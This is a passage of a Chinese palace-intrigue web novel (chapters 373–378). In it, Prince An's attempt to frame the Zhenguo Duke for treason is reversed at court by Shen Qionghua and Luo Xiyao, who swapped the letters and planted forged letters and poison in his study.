“是!奴才遵命!”李顺全应道,立马便传旨去了。 目的达到,沈琼华和洛希瑶隔着人群四目相对,眼中皆闪过一丝笑意。 不远处的谢祁安将两人间的眉眼官司看入眼底,嘴角也缓缓勾起一抹笑。 蠢货,难不成还真以为下毒之后,他还会将那些毒药留在安王府内吗? 方才的迟疑与忧心,不过是装出来的表象,怕洛希瑶中途反悔罢了。 哼! 敢跟他斗! 今日镇国公府必将覆灭! 谢祁安信心十足,却没料到他才是中计的那一个。 第三百七十三章 铁证如山,不容狡辩 等待的过程是十分漫长的。 镇国公府的府邸是开国皇帝亲赐的,土地辽阔,建筑巍峨,沿袭百年,从规格上来看丝毫不比安王府的亲王府邸差。 但无奈镇国公府如今人口凋零,现任镇国公就平宁郡主一个女儿,这主人少了,伺候的人也就少了,不似安王府,里头的伺候的奴才都有数百人,每个屋都要仔细盘查一番,着实要花费不少功夫。 因此安王府虽然距离皇宫更近,却是搜查镇国公府的御林军先一步回来的。 为首的御林军捧着一沓信纸从大殿之外走了进来,跪在地上道:“皇上,这是从镇国公书房的暗格内搜出来的信纸。” 李顺全见状连忙接过,要送去谢荣跟前给他查看,经过那守卫身边时,他挺直腰身看了一眼,看见上头的陈国文字顿时激动道:“没错!没错!就是这个!就是这个!” “皇上奴才说的都是真的啊!镇国公真的通敌叛国了!” 他话落,那一沓信纸便已经送到了谢荣跟前。 谢荣只扫了一眼,便勃然大怒,“简直是岂有此理!枉费朕的信任!” 大手一扬,信纸从李顺全手中脱出,纷纷扬扬地洒落。 众位大臣见状,心中大骇。 镇国公……镇国公竟真的通敌叛国了! 沈琼华瞳孔瞪大,嘴唇微张,喉咙却好似被掐住了一般,发不出半点声音。 跪在百官末尾处的傅琛脸上满是震惊,他还想出言,却被已经顾不上殿前失仪从百官之列冲出来的兵部尚书捂住了嘴。 洛希瑶似是不敢相信一般,膝行几步,一边去捡那些信纸,一边摇着头道:“不……不可能!这不是真的!这不是真的!我父亲绝不可能通敌叛国!” 谢祁安见此情形,嘴角微勾,一副好言劝说的模样,“平宁郡主,证据在此,铁证如山,容不得你狡辩,你若是良心还未泯灭,进了大牢后便将你知晓的都交代清楚吧。” “不……不可能……这不可能!”洛希瑶涕泗横流地哭泣道:“皇上!皇上!我父亲为大越鞠躬尽瘁,承袭祖先遗志,此生守护大越,断不可能会做出这种事,这定是有人栽赃陷害的!” “这可是从镇国公书房的暗格里搜出来的,你竟还敢鸣冤,是将朕当傻子吗?” 谢荣愤怒扬声道:“来人,将平宁郡主给朕打入……” “皇上!” 沈琼华急声喊道,噗通一声跪在地上,起头抢地道:“皇上,这信纸上写的都是陈国文字,不如找一个懂陈国文字的人将信纸上的内容看一遍,搞清楚了内容,再定平宁郡主的罪也不迟,万一有什么误会呢?” 谢祁安冷笑道:“嘉林县主向来与平宁郡主来往亲密,如今这等情况下竟还敢帮平宁郡主求情,莫不是这通敌叛国之罪也有沈家的参与?” “说起来,陈国水土不及我大越肥沃,物资也少,是以以往陈国来犯往往撑不了多久就被我们给打回去了,可此次却尤为顽抗,难不成这背后……有沈家的财力支持?” 沈琼华冷哼一声,道:“安王殿下也未免太看得起我了,一次捐银,一次捐粮,已将我沈家的银钱挥霍了大半,如何还有银钱去资敌?” 说着,又看向谢荣道:“皇上,臣女只是想着这平宁郡主事到如今了还喊冤,唯有两种可能,一是她是被蒙在鼓里的,二是不见棺材不落泪。” “不妨将那信纸上的内容弄清楚,若是前者,也好叫她是个明白,若是后者,她便再无从狡辩。” “再者,若是镇国公真通敌叛国了,这信件上说不定能有一些有用的信息呢,或许能知晓陈国下一步的计划,咱们也能变化行事。” 最后一句话打动了谢荣,他朝李顺全颔首。 李顺全立刻会意,从洛希瑶手中抽出那些信件,随后看向百官,“众位大人之中可有能看懂陈国文字的?” “我能!我年轻时曾游历诸国,看得懂一些陈国文字。”一位大臣走了出来。 “我也能。”另一位大臣也道。 李顺全将信件交给第一位大臣。 那大臣接过一看,开始还颇为轻松的样子,可越到后面,眉头蹙得越紧,一张一张的翻过信纸后目中满是震惊。 谢荣见状蹙眉道:“怎么了?可是有何不妥?” 那大臣道:“回禀皇上,这信中的内容可是大大的不妥,哦,不对,是……是妥的。” “皇上,这些信中所传达的内容看着并非像是向镇国公索要我大越的情报,反而像是……反而像是向镇国公提供陈国的情报。” “皇上!镇国公通敌叛国一事,或有隐情啊!” 什么? “这不可能!”谢祁安惊呼道。 待谢荣的目光扫了过来,谢祁安才反应过来自己的反应有些过了,连忙收敛住情绪,道:“陈大人,你是否是看错了?亦或是有些文字识不清了?” “毕竟这么多年过去了,你身在大越,陈国的文字中有些字慢慢的不认识了也是有的。” 陈大人蹙眉,下意识想要反驳,但目光触及皇上的眼神,顿了顿,这才道:“既然安王殿下怀疑臣的才学,那不如让张大人也看一看。” 张大人就是方才站出来的另一位懂陈国文字的大臣。 张大人走到陈大人身边,接过信纸一看,下一瞬便与陈大人一个表情,二人相视一眼,跪在地上道:“皇上!这其中确有隐情啊。” 这次是张大人开口道:“皇上,这些信纸应当不是出自陈国将帅之手,很可能是出自镇国公安排在陈国的线人之手啊!” 第三百七十四章 莫不是安王也参与其中? 张大人拿出一张信纸道:“这封信上讲明了陈国距离边关最近的一座城池枫城的情况。” 又拿出另一张信纸道:“这封信上写的是陈国又偷偷调了多少兵马前往边关。” “这封信上写的是陈国打了败仗后,城中百姓的反应。” “还有这封,写的是……” 逐一解释下来,没有一封是向镇国公询问大越情况的。 且用词恭敬,询问严谨,一看便是下属对上属禀明实情的语气。 读到后面,众臣也明白了过来。 这哪是什么与陈国通信出卖大越的信件,分明是镇国公远在京城,也时时担忧边关安危,遂派人偷偷潜入枫城,盯紧城中的一举一动,再偷偷传递出来。 只怕之所以用陈国的文字,也是怕传递信件的过程中,用越国文字书写引起周围人的起疑罢了。 可怜镇国公府一心为大越,如今还在边关拼死征战,却要遭受这样的猜疑,唯一的女儿差点百口莫辩被打入大牢,可真是……唉…… 这些信件的内容都弄清楚后,镇国公府通敌叛国的罪名自然洗清了。 谢祁安听着那些内容,控制不住地后退了半步,心中满是震惊。 若不是这二位大臣向来只听从皇上的命令,不参与党派之争,他定是不会相信的。 可这怎么可能…… 那些信件,明明是他亲手准备的,交给心腹,让其找人放入镇国公府书房内,内容怎会变了…… 明明该是坐实了镇国公府通敌叛国的…… 谢祁安的目光落在那守卫脸上,就见那守卫也是满脸愕然,显然也很是震惊。 若是此人没有叛变,那便是…… 谢祁安猛地看向沈琼华,就见对方眼含讥笑地看着他。 是她……居然是她……果然是她! 她早就知晓他的计划,故意将信件内容给调换了,反将他一军! 让他的所有谋划都落空! 还在他面前做戏,愚弄他! 沈琼华! 你一而再而三坏本王的事,本王必不会放过你! 洛希瑶双手捂脸,哀哀哭泣,等张大人信件内容都读完,这才泪眼婆娑,委屈至极道: “皇上,这些信件必是我父亲安排在陈国的人暗中传回来的,只是怕引起怀疑,这才用了陈国文字。” “父亲小心谨慎,心思缜密,只因一次意外,信鸽跌落,让有心之人窥探了信纸,连信件内容是什么都不知晓就一口咬定说是臣女父亲通敌叛国。” “父亲一生为越国征战,打过上百场战,身上的大大小小的伤痛伤疤数不胜数,人都还在边关保家卫国,所护人之中竟有这般狼心狗肺,恨不能将镇国公府拉下地狱的人,委实令人心寒。” 洛希瑶满面涨红,情绪激动,这狼心狗肺之人指的,也不知是这诬告的守卫,还是指的这大殿之上的某一个人。 谢荣沉了眸子,轻咳一声道:“此事是朕的疏忽,差点错怪了镇国公府。” 既是没有通敌叛国,谢荣自该出来表个态,免得落下话柄,惹人非议。 洛希瑶闻言眼中闪过一抹嘲讽,嘴上却是恭敬道:“此事怎能怪皇上?要怪也该怪这诬告的守卫和他背后之人才是,若不是他们妖言惑众,煽动大人们,想必皇上也不会被逼无奈搜查镇国公府,生出这许多事端来。” “还请皇上严惩罪魁祸首!” “请皇上严惩罪魁祸首,以慰镇国公府!”百官纷纷下跪道。 镇国公在朝中的声誉一向很好,大多数官员本就不怎么相信镇国公会做出通敌叛国之事。 只不过事无绝对,谁也不敢在这种一不小心可能就会抄家灭国的祸事前开口替镇国公府争辩。 万一是真的,难免会被皇上视为同伙,倒是自己的性命是小,连累妻儿,祸及家族才是大。 可眼下镇国公既已洗清嫌疑,这惩治祸首之事,自然要帮上一帮。 谢荣的目光随着这话落在了那守卫身上,那守卫早已吓得浑身发抖,以头抢地道:“皇上饶命,皇上饶命啊!奴才不知啊,奴才真的不知晓那信件写的是这些个内容啊!” “若是奴才知晓,给奴才十个胆子,奴才也不敢闹到皇上跟前啊!” “还请皇上看在奴才一心为大越的份上,饶奴才一命,皇上饶命啊!” 洛希瑶冷笑一声,道:“你连陈国文字都不识得,仅凭一张信纸,就觉得我镇国公府通敌叛国,还敢闹到皇上跟前,这其中必有人指使,还不快从实招来。” “这……这……”守卫有些迟疑,他也不傻,若真是误会,或许还能留一命,若是真是受人指使,诬告镇国公府,只怕才是性命难保。 守卫的目光隐晦地朝户部尚书看去,户部尚书此时也慌了阵脚,不知晓为何原本的计划出了纰漏。 洛希瑶察觉到守卫的视线,立刻转变了矛头将话口对准了户部尚书,“对了,还有户部尚书大人,大人为官这么多年,行事应当最是谨慎小心不过的,如此轻易便相信了一个守卫的话,质疑我镇国公府,甚至将人带到了这大殿之上。” “如此行径,着实有异于平时的行为,还几次三番为这守卫说话,莫不是大人同这守卫是一伙的,一齐诬陷我镇国公府!” “所谓的因两家有矛盾而找上尚书大人,只不过是用来糊弄人的托词!” 户部尚书再傻也知晓不能承认,当即便道:“平宁郡主,你休要胡言乱语,本官这都是为了大越着想,就算误判一二,你也不能空口白牙就说本官是故意构陷。” 说着,立刻向谢荣辩解道:“皇上明鉴,还请皇上明鉴啊,臣真的冤枉啊,臣那孽子虽与平宁郡主有些矛盾,但那不过是儿女之间的小矛盾,又不曾伤及性命,何至于值得臣费尽心思构陷。” “臣当真是为我大越着想,这守卫将事情一说,臣一想到边关大军如今尽在镇国公手中便坐立难安,这才秉着宁可错信,不可放过的想法,向皇上秉明此事。” “皇上,臣真的冤枉啊!” 户部尚书掌管天下银钱,是谢祁安的得力臂膀,谢祁安断不能让他因此事遭到贬黜,当即便求情道:“父皇,还请父皇息怒。” “户部尚书此次确实失察,但说到底,他也是为了大越着想,还请父皇看在他这么多年尽心尽力的份上,饶了他一回。” 谢祁安话音刚落,洛希瑶便道:“安王殿这话说的不对,这大殿之上的大人,哪个不尽心尽力,若是轻轻放过,那今后岂不是人人都可张口就来,随意攀蔑,那岂不是都乱套了!” “今日是恰好有懂陈国文字的大人能够证明我父亲的清白,若以后有人没法自证清白,那岂不是真要冤死了!” “这还是建立在户部尚书大人当真无辜的份上,若是他真是存心构陷的,那就更不能放过了。” “安王殿下还虚长我几岁,怎么想法如此不成熟……” “你……” “哦,对了!”洛希瑶打断他的话,斜睨着他道:“我忘记了,方才安王殿下也极力要搜查我镇国公府来着,甚至不惜搭上安王府,莫不是安王殿下也参与其中不成?” “不然……为何如此帮尚书大人说话!” 第三百七十五章 以待今日,成为证据 “你!你这是污蔑!” “你说是污蔑就是污蔑,我还真觉着这就是事实,方才安王殿下不也是无凭无据就说要搜查我镇国公府!” 镇国公府洗清了嫌疑,洛希瑶此刻说话那是相当不客气。 若换做平时哪敢在皇上跟前指着安王的鼻子骂,眼下不过是因着方才受了委屈,皇上理亏,因着脸面不好出言指责她,这才放肆了些。 二人吵作一团,户部尚书和守卫在分辨,底下的大臣们都在窃窃私语。 一时间,这大殿之上比那集市还要热闹些,吵得谢荣脑袋嗡嗡作响。 “够了!都给朕闭嘴!”谢荣喝道。 大殿立时安静了下来。 谢荣揉了揉太阳穴,刚要说些什么,去安王府搜查的御林军也回来了。 御林军双手捧着一沓信纸以及一个小匣子,跪地禀报道:“皇上,奴才们从安王殿下的书房内搜到了这两样东西,还请皇上过目。” 谢祁安蹙眉,觉着那匣子有些眼生,不知晓有何不妥,竟会被御林军带到大殿上来,刚想细看一二,就已被李顺全拿走了。 李顺全接过东西,在隐晦的角度扫了那信纸一眼,只一眼,便脸色大变,竭力稳住心神将东西呈了上去。 谢荣扫过信纸,只一眼,瞳孔倏然放大。 双手一把抢过信纸,逐一翻阅,双手微微颤抖,待看到一封信时,双手更是气得发抖。 他猛地站起身,一步一步从高台之上走向谢祁安。 谢祁安察觉到谢荣的情绪有些不对劲,心下一紧,仔细回想有何疏漏之处。 可任凭他怎么回想,都猜不到皇上为何变脸。 他行事一向谨慎,平日的往来书信大多是看过就烧了。 即便是为了夺得一些大臣的支持,用把柄威胁,那些把柄也被他藏在府外的一个安全之处,并不在王府之内。 所以他是在是想不通,那些禁卫军到底是搜到了什么,能让父皇看之色变。 眼看皇上即将走到他面前,谢祁安开口道:“父皇——” “啪——” 一个响亮的巴掌在安静的大殿之上响起。 谢祁安捂着自己的脸满是不敢置信。 父皇向来都只是言语指责,极少对儿女动手,可如今竟在这大殿之上,在这百官面前打了他一巴掌,这是何等的羞辱。 可即便是如此,谢祁安也不敢将他心中的愤怒表达出来,只是极为冷硬道:“父皇,为何?” 谢荣一把将那些信纸朝他脸上掷去,怒道:“孽畜!你都做了些什么!竟敢与陈国勾结!还敢谋害你三弟!” 纷纷扬扬的信纸洒落一地,锋利的纸张划过谢祁安那张俊朗儒雅的脸,留下了一道血痕。 谢祁安蹲下身去捡,触及上面的内容时,顿时脸色大变,他疯狂地去巴拉那些信纸,朝谢荣解释道:“父皇!父皇儿臣没有!这些不是儿臣做的!” 谢荣怒道:“孽畜,竟还敢狡辩,这些都是御林军在你书房内找到的,不是你做的,还能是谁!” “你安王府守卫森严,谁还能潜进安王府,将这些东西放入你的书房内吗!” 谢荣掷信纸时力道有些大,有一些信纸飘到了大臣的脚边,那些大臣捡起来一看,顿时脸色大变。 方才都说镇国公通敌叛国,可这些信纸中的内容明明才更像,都是问询边关兵力部署,何人带兵,会经过哪些地方。 众人不免想起安王之前最后的那场败战。 是真的不敌,还是…… 大臣们脑中思绪万千,谢祁安也是惊疑不已。 他猛地看向沈琼华,却见沈琼华已经毫不掩饰自己的笑意。 果然是她干的! 今日这一遭,自不必说,他也猜到了是沈琼华的手笔。 没想到她识破了他的计谋,竟还反手将了他一军。 只是他想不通,他的书房向来把手森严,沈琼华究竟是如何将这些东西放入书房的。 还有,他每日都会整理书房,这东西就是是放在哪里了,竟没有被他发现。 谢祁安咬牙切齿地看着沈琼华。 沈琼华红唇微张,无声吐出三个字。 那三个字是…… 谢祁安猛地瞪大双眼,周令芙! 是周令芙将这东西放入他的书房的。 是了,当初她趁林惜颜来王府时,从荒院里跑出来。 当时他怕她会撞上林惜颜,将事情和盘托出,便让府内的人都去寻她。 事后,他才发现周令芙那时乘机跑进过书房,还将他的书房一通打砸泄愤。 他当时还觉得周令芙愚不可及,只会这点小手段,命人将书房内收拾了,将东西都添置齐了,便将此事抛之脑后了。 如今想来,打砸泄愤都只是遮掩,真正的目的是将这些东西放入他的书房。 以待今日,成为他勾结陈国的证据! 第三百七十六章 唱一出请君入瓮的大戏 这是早就做好了布局,只等请君入瓮,来个瓮中捉鳖。 难怪……难怪方才洛希瑶明明抵死都不让搜查镇国公府,东拉西扯扯到谢南渊中毒一事上。 而后转瞬间又改变了态度,却非要安王府一起接受搜查。 这是算准了父皇的心思,方才洛希瑶那惊慌哭泣之举也不过是在做戏,将他当成傻子一样耍得团团转。 谢祁安想到这些,额角青筋暴起,只不过他此刻顾不上沈琼华。 眼看谢荣已经暴怒,双腿噗通一声跪在地上辩解道:“父皇,父皇儿臣冤枉啊,儿臣是真的冤枉啊,儿臣身为大越的皇子,怎么可能会做出这等事,做这种事对儿臣有何好处?” 谢荣一脚踹在了谢祁安的身上,将他踹翻在地,将信纸对准谢祁安的脸,道:“逆子!竟还敢喊冤!你自己看这上面可是你的字迹!” 众人这才发现皇上并未将所有信纸掷出,手上还留有一张。 谢祁安看着面前信纸,整个大脑都空白了一瞬。 这……这确实是他的字迹,便是他自己,若不是确定没有写过这封信,只怕都会信以为真。 这些信纸是沈琼华与洛希瑶所为,可是她们如何能将他的字迹临摹得这般相像? 可眼下要紧的不是字迹,而是这内容…… 谢荣怒声道:“枉朕以为你真的儒雅谦逊,礼贤下士,却是不想背地里如此阴毒。” “你三弟重伤失踪,生死不知,你不仅不想法子找人,反而勾结陈国,意图联手绞杀渊儿,如此心狠手辣,六亲不认,简直是畜生不如!” 一声声的斥责,如凌迟一般鞭打在谢祁安的身上。 一直按照谢祁安吩咐,隐身的永宁伯终是按耐不住了,跪在地上求情道:“皇上,此事定不是安王所为,定是有人刻意陷害,还请皇上明察啊!” 看着跪在地上丧如考妣的两人,沈琼华的心中是说不出的痛快。 上一世谢祁安有高磊这个镇国公府女婿为帮手,偷放进书房用以栽赃的信件用的可不是陈国文字,而是直接使用的大越文字。 且那些信件中也有一封信与镇国公的字迹一模一样,高磊说那是镇国公写好,还未来得及传递出去的信。 正是这一封信,将通敌叛国的帽子彻底扣在了镇国公的头上,令人辩无可辩。 而今世,那些原本用以栽赃的信件中也有一封信,是以镇国公府的口吻写的。 谢祁安如此爱用这招数,她自当要回馈一二。 前世,她与谢祁安也算是相处过一段时间,后来他带兵出征,独自一人守在安王府时也曾在空暇时临摹过他的字。 如今,这不就派上用场了。 这封信上的字迹与谢祁安本人的字迹可足足有八九成像,信上写的,是让对方遵守约定,务必在其他人之前找到谢南渊,若是活着,即刻将其绞杀,来日必有重谢。 证据确凿,她倒要看看谢祁安还能如何狡辩! 谢祁安强自让自己先冷静下来,他面对皇上,以头抢地道:“父皇,儿臣真的没有,儿臣若是真做了此事,方才又岂敢同意搜查安王府。” “肯定是要千般阻扰,万般推脱的,儿臣既敢答应,就足以证明,儿臣心中是无愧的啊父皇!” 洛希瑶闻言,连忙开口道:“安王殿下此话说的可不对,你方才你可不是一口应下的,也是一直推脱,若不是皇上英明,果决下令,您至今还在推脱呢,这又怎么不印证了你的心虚呢?” “你!”谢祁安气极。 方才那一番推脱心虚之状,不过是做给洛希瑶看的,目的是让她以为安王府内真留有毒药,以免她又改变主意。 哪知这是洛希瑶与沈琼华联手做的局,如今他深陷局中,方才那佯装推脱的行为也成了他心虚的铁证,这可不谓是搬起石头砸自己的脚! “你什么你!安王殿下,我劝你还是老老实实承认了吧,这大殿之上这么多大人可都是有目共睹的,容不得你狡辩!”洛希瑶再接再厉道,口齿伶俐的很。 说完,眼一扫,却发现沈琼华正朝她使眼色,这才猛然想起一件事来,看向那御林军,道:“哦,对了,除了这个,可还搜出些别的?比如毒药什么的?” 那御林军恭敬道:“回平宁郡主的话,确实搜到了一个匣子,里头放着一个白瓷瓶,至于是不是毒,这我们也分辨不出来。” 谢荣冷哼,一双眼睛瞪向谢祁安,道:“既然你们分辨不出来,那就去找能分辨出来的,裴医者曾经给渊儿解过毒,他定然能分辨出来,朕倒是要看看朕的好儿子还瞒着朕做了些什么!” “李顺全!” “奴才在!” “去寻裴医者来!” “是!” 李顺全转身正要去寻,裴凉川自己就急匆匆地上前来了,“唉唉唉,不用去寻了,我就在这!” 他不知道从哪个犄角旮旯里挤出来的,衣衫都有些慌乱。 原本皇上命五皇子回寝殿修养,裴凉川按理来说也应当跟从五皇子而去。 但他眼睁睁地看着一场大戏开锣,又怎么能忍住半路折返不看呢? 这镇国公府被状告通敌叛国,安王又被指认下毒谋害瑞王,可谓是精彩至极。 他虽不知晓洛希瑶与沈琼华葫芦里到底卖的什么药,但知晓这其中必然不简单。 其他人不知晓,他和福公公一同待在五皇子身边还能不知晓? 五皇子待在寝殿不许外出如何能知晓这大殿之上的情况,他看得清清楚楚,分明是有人跟福公公联系了,让五皇子适时前往殿上。 而能通过福公公将话递至五皇子跟前,又能让五皇子乖乖照做的,出了洛希瑶,再无旁人。 而洛希瑶又一向听从沈琼华的话。 沈琼华怎样的人? 最是精明不过。 不可能会做无用功。 所以他便知晓,事情绝不会这般简单。 于是在皇上下令让五皇子回去后,五皇子是回去了,他却悄悄留了下来。 隐藏在百官末尾当中,看着洛希瑶和沈琼华二人吹拉弹唱……哦,不,是相互配合,唱了一出请君入瓮的大戏。 不得不说,还真是精彩极了,精彩得他差点拍掌叫好。 且经过方才那一出戏,他也算是为彻底明白了。 这五皇子为镇国公府求情是假,借着求情的由头将中毒一事引出,转移视线,将目标对准安王,达到搜查安王府的目的才是真。 难怪……难怪之前沈琼华问他手中可存有谢南渊所中之毒的毒药,还花大价钱买了去。 他当时还纳闷呢,心里嘀咕着沈琼华向他买这毒药莫不是想要给人下毒。 原来并非下毒,是用以栽赃。 这镇国公通敌叛国一事,与五皇子中毒一事,本就是两件事,可洛希瑶偏要将这两件事往一处靠拢。 而五皇子就是衔接这两件事情的关键人物。 有了五皇子那一遭,这出戏才能真的唱下去。 只可怜了这安王,被算计的可惨,不过也是活该,谁让此人心术不正,偏又狠辣恶毒的。 裴凉川正这般想着,李顺全的声音传入他的耳中,“裴医者?裴医者!” 裴凉川瞬间回神,面前是李顺全满是褶子的笑脸,“裴医者,还劳请您辨上一辨。” 笑不出来就别笑了,强颜欢笑,笑得可真丑。 裴凉川在心里默默吐槽道。 面上却不动声色地接过了那个匣子,看着里头略显眼熟的白瓷瓶,心中早已有了答案,可却还是打开装出一副仔细辨别的样子。 突然,裴凉川脸色一变,激动道:“没错,皇上,此毒正是当初瑞王所中之毒!” 第三百七十七章 他可还没完全输! 裴凉川的话一落,谢荣气得胸膛剧烈起伏,看向谢祁安的眼神中满是失望于怒火,“孽畜,证据确凿,你还有什么可说的!” 谢祁安狠狠闭上了眼睛。 早在弄清楚那些信纸之时,他心中便已有了准备。 沈琼华既能将那些信纸通过周令芙之手偷藏于他的书房内,自然也能将毒药藏于他的书房。 而毒药的来源来自哪儿,这还用得着说吗? 自然是这位毒术高超,为谢南渊解过毒的裴凉川了。 是他大意了,他从一开始就忽略了谢南渊已解毒这件事。 原以为不过是运道好,碰巧寻着了个会解毒的,不曾想此人会一直留在京中,也没料到沈琼华会借此人给他布局,让他跌了这么大一个跟头。 好,还真是好极了! 这一局,是他败了,不过他可还没完全输! 谢祁安犹如一尊石雕一般枯坐在地上。 良久,他从重新开口道:“父皇,若是儿臣说这两样东西都不是儿臣的,是沈琼华与洛希瑶联合给儿臣下套,将东西放入安王府的,父皇是不是也不会相信儿臣?” 谢荣本就在气头上,闻言一脚踹了上去,“朕怎么就生了你这么个孽畜,都这个时候了竟还敢攀蔑旁人!” 洛希瑶见状连忙道:“安王殿下,你即便是被人拆穿了,也不能怀恨在心,张口就胡来啊。” “你安王府是何地方?我和嘉林县主如何能通过重重把手,将这些东西放入你的书房内?” “你既说是我将其放进去的,那你倒是说说,我是如何放进去的?也让我这个当事人听个明白。” 洛希瑶这般说,便是料定了谢祁安不敢说。 谢祁安要是说了,必要交代出周令芙,然而周令芙在世人眼中已经死了。 死无对证,皇上只会认为谢祁安是在信口胡诌,反而暴露出周令芙曾经在安王府所遭受过的一切。 以皇上如今的怒火,听到这些只会更加愤怒,加快谢祁安的衰亡罢了。 “说啊,你怎么不说了,你不是说朕冤枉了你吗?”谢荣怒声道,气得眼前发白,头脑发晕。 就在这时,殿外不远处传来了周贵妃的声音,“狗奴才,都给本宫让开!” “本宫是贵妃,你们谁敢对本宫动手动脚!” “都不想要你们的狗命了吗?” 好一番喧闹。 谢荣瞥了李顺全一眼,李顺全立刻会意。 没一会,周贵妃就进来了。 周贵妃一眼就看到被谢荣踹翻在地的谢祁安,连行礼都顾不上,急急上前查看谢祁安的伤势。 眼泪倏地便落了下来,“皇上,安儿做错什么了,你要这么对他!” 谢荣怒道:“他做了什么你难道不知道?若不是有你相助,他敢这般胆大妄为?” “勾结陈国,谋害渊儿,给渊儿和五皇子下毒,这一桩桩一件件,哪个不是出自他之手!” 谢荣越说越气,又要抬脚去踹谢祁安。 周贵妃闻言脸色骤变,跪在地上抱住谢荣的双腿,哀哀戚戚道:“皇上,冤枉啊!天大的冤枉!” “您自小看着安儿长大,他是怎样的脾气秉性,您难道不清楚吗?” “最是谦逊和善不过,您怎能因为一些外人的言论就怀疑他呢?” “如今证据确凿,你竟还敢替她狡辩!”谢荣道。 “皇上!那些证据都是栽赃!是有人存心想要陷害我安儿!皇上!您可不能就此就定了安儿的罪啊!”周贵妃嚎哭道。 已经完全没有了往日嚣张的样子。 直吵得谢荣头疼,“将周贵妃带下去,囚禁于延禧宫。” 而后朝周贵妃道:“你在其中插手了多少,你自己心里清楚,等朕查清楚了,处置了安王,再与你细究!” 眼看周贵妃要被拖下去,皇上如此不讲情面,永宁侯看向谢祁安,却并未得到对方的示意。 牙一咬,跪在地上道:“皇上!皇上息怒!这一切都是臣做的!” “是臣!借瑞王重伤之机,给瑞王下毒,想要让其悄无声息的死去。” “是臣!苦劝安王无果,在边关时便以安王的名义写信与陈国勾结,事后又觉将这些信件和毒药藏在永宁伯府不太安全,将其放在了守卫更为森严的安王府,本以为无人发现,没想到会害了安王。” “也是臣!在瑞王失踪后,又觉五皇子殿下是安王的威胁,遂给五皇子下毒,意欲除之而后快。” “这一切都是臣做的,与安王殿下无关,还请皇上明察!” 第三百七十八章 回来了!回来了! “安王对此一切都不知情啊,皇上!” 永宁伯心中很清楚,永宁伯府与安王早已成为了一体。 若是安王被皇上废弃,周贵妃被皇上厌弃,那么永宁伯府被踢出局也不过是迟早的事。 到时那些与永宁伯府为敌的人定会扑上来,将永宁伯府撕咬殆尽。 只有保住安王和周贵妃,永宁伯府才有可能有东山再起之日。 原本,对于今日一事,以防有意外发生,安王另安排了后手,只是事到临头,到底是有违人伦,犹豫了。 既如此,那便只有他站出来,弃车保帅,以待来日。 永宁伯突然站出来认罪,出乎所有人的意料。 洛希瑶冷笑道:“永宁伯,你为了替安王殿下脱罪,还真是什么话都说的出来。” “你不过是一个外臣,如何以安王的名义写信与陈国勾结?难道那些陈国的将帅都是傻的不成,轻易就相信了写信之人是安王?必是有信物交托才是。” “你说信件放在永宁伯府不安全,遂偷偷藏至安王府书房,又说安王毫不知情,难道就不怕安王整理书房之时自己发现了?” “你说五皇子中毒一事是你所为,但天子脚下,皇宫禁内,只凭你一个外臣,如何能神不知鬼不觉通过重重把手给五皇子下毒?” “如此前言不搭后语,错漏百出的说法,说出来也不怕造人耻笑。” 永宁伯面不改色地辩解道:“皇上,臣与安王殿下一齐前往边关,战争激烈之时,甚至同吃同住,安王殿下对臣并不设防,臣想要神不知鬼不觉的拿到安王的贴身之物并非难事。” “至于给五皇子下毒……臣虽是外臣,但当初贵妃娘娘初入东宫时,所携带的婢女皆是出自永宁伯府。” “她们还有家人在永宁伯府,想要拿捏住她们为臣所用并非难事。” “皇上,这一切都是臣自作主张,安王殿下与贵妃娘娘毫不知情,还请皇上宽恕安王殿下和贵妃娘娘,一切罪责由臣承担!” 永宁伯说完,便朝谢荣叩拜了下去。 谢荣俯视跪拜在面前的永宁伯,而后瞥了一眼谢祁安,道:“安王,永宁伯所言可是真?” 谢祁安抿唇,双拳不自觉握紧,良久才道:“回父皇的话,儿臣确不知情。” 谢荣意味不明地冷哼了一声,也没说信还是不信。 大殿上忽然就安静了下来,所有人都在等着皇上的决断。 沈琼华即便再是胜券在握,此刻心中也不免打鼓。 此番设了这么大一个局,她自是想要将安王给彻底铲除的。 安王倒了,那永宁伯府就是秋后的蚂蚱,蹦跶不了几日了。 永宁伯是贸然顶罪,这错漏百出的说辞自然骗不了皇上,端看皇上狠不狠得下心来处置谢祁安了。 沈琼华琢磨着,这谢南渊和五皇子二人中毒再加上有叛国的罪证,皇上应当是不会轻轻放过谢祁安的,自然是要严惩才是。 就在众人屏息凝神之际,谢荣缓缓张口,“来人……” “回来了!回来了!” 话还未说出,一个小太监便急急忙忙小跑了进来。 由于太过于惊慌与匆忙,小太监越过门槛时还被绊了一跤,跌倒在地,又赶紧扶着帽子站起来,接着往里面跑。 李顺全见谢荣面色不虞,连忙上前一脚将人踹在地上,动作看似粗暴,却是收着力的。 申斥道:“做什么!做什么!这是什么地方!这么急急忙忙的做什么!” 那小太监被李顺全踹倒也不恼,顺势往地上一跪,面带喜悦道:“回来了!回来了!” 李顺全拧眉,呵斥道:“谁回来了?好好说话!” 小太监激动道:“皇上!是瑞王!瑞王殿下回来了!” 什么? 瑞王回来了?! 永宁伯,谢祁安,周贵妃脸色骤变,百官面色惊疑,谢荣和洛希瑶眼中满是惊喜。这惊喜来得太过突然,以至于沈琼华脑中一片空白,随之而来的是激动与迫不及待,还掺杂着一丝害怕。 她想张口问清楚,这是否是真的,可几次张唇,却发不出声音。 好在不待她着急,就有人帮她问了出来。 李顺全回过神来之后,立刻朝那小太监怒斥道:“混账东西,瞎说什么呢!瑞王殿下怎么会出现在京城!” “瑞王殿下就是成功被寻回,也应当是在边关才是,怎地会在京城?” 小太监激动的脸都红了,“李总管,是真的,边关大捷,瑞王殿下此刻已经进了宫门了,即刻便会来此。” 似是印证着这句话,小太监话刚一落,外头便有人道:“皇上,瑞王殿下求见!” 是真是假,一看便知。 “快!快让渊儿进来!”谢荣扬声道,满面通红。 李顺全颔首,唱和道:“宣瑞王觐见!” 云开雾散,碧空如洗。 远处一道身着铠甲的身影一步一步走近,步履坚定,身姿坚挺,随着他越走越近,那俊朗中透着几丝瘦削的面容出现在众人的视线中。 深邃的眉眼,高挺的鼻梁,嫣红的薄唇,以及那漆黑如墨的双眸,不是谢南渊还能是谁? 谢祁安死死盯着那道身影,心中的不甘犹如猛兽般在嘶吼。 为什么? 为什么! 为什么他还能活着回来? 他派去了那么多人手,联合了那么多势力搜捕,谢南渊为何还能活着回来! 还打了胜仗? 为何他一点消息都不曾得到? 难道…… 谢祁安不知想到了什么,脸色竟比知道谢南渊活着回来了还要难看上三分。 谢南渊一边走近,一边扫视着殿内的场景,那双古井般的黑眸从众人面上一一扫过,最后停留在了沈琼华的脸上。 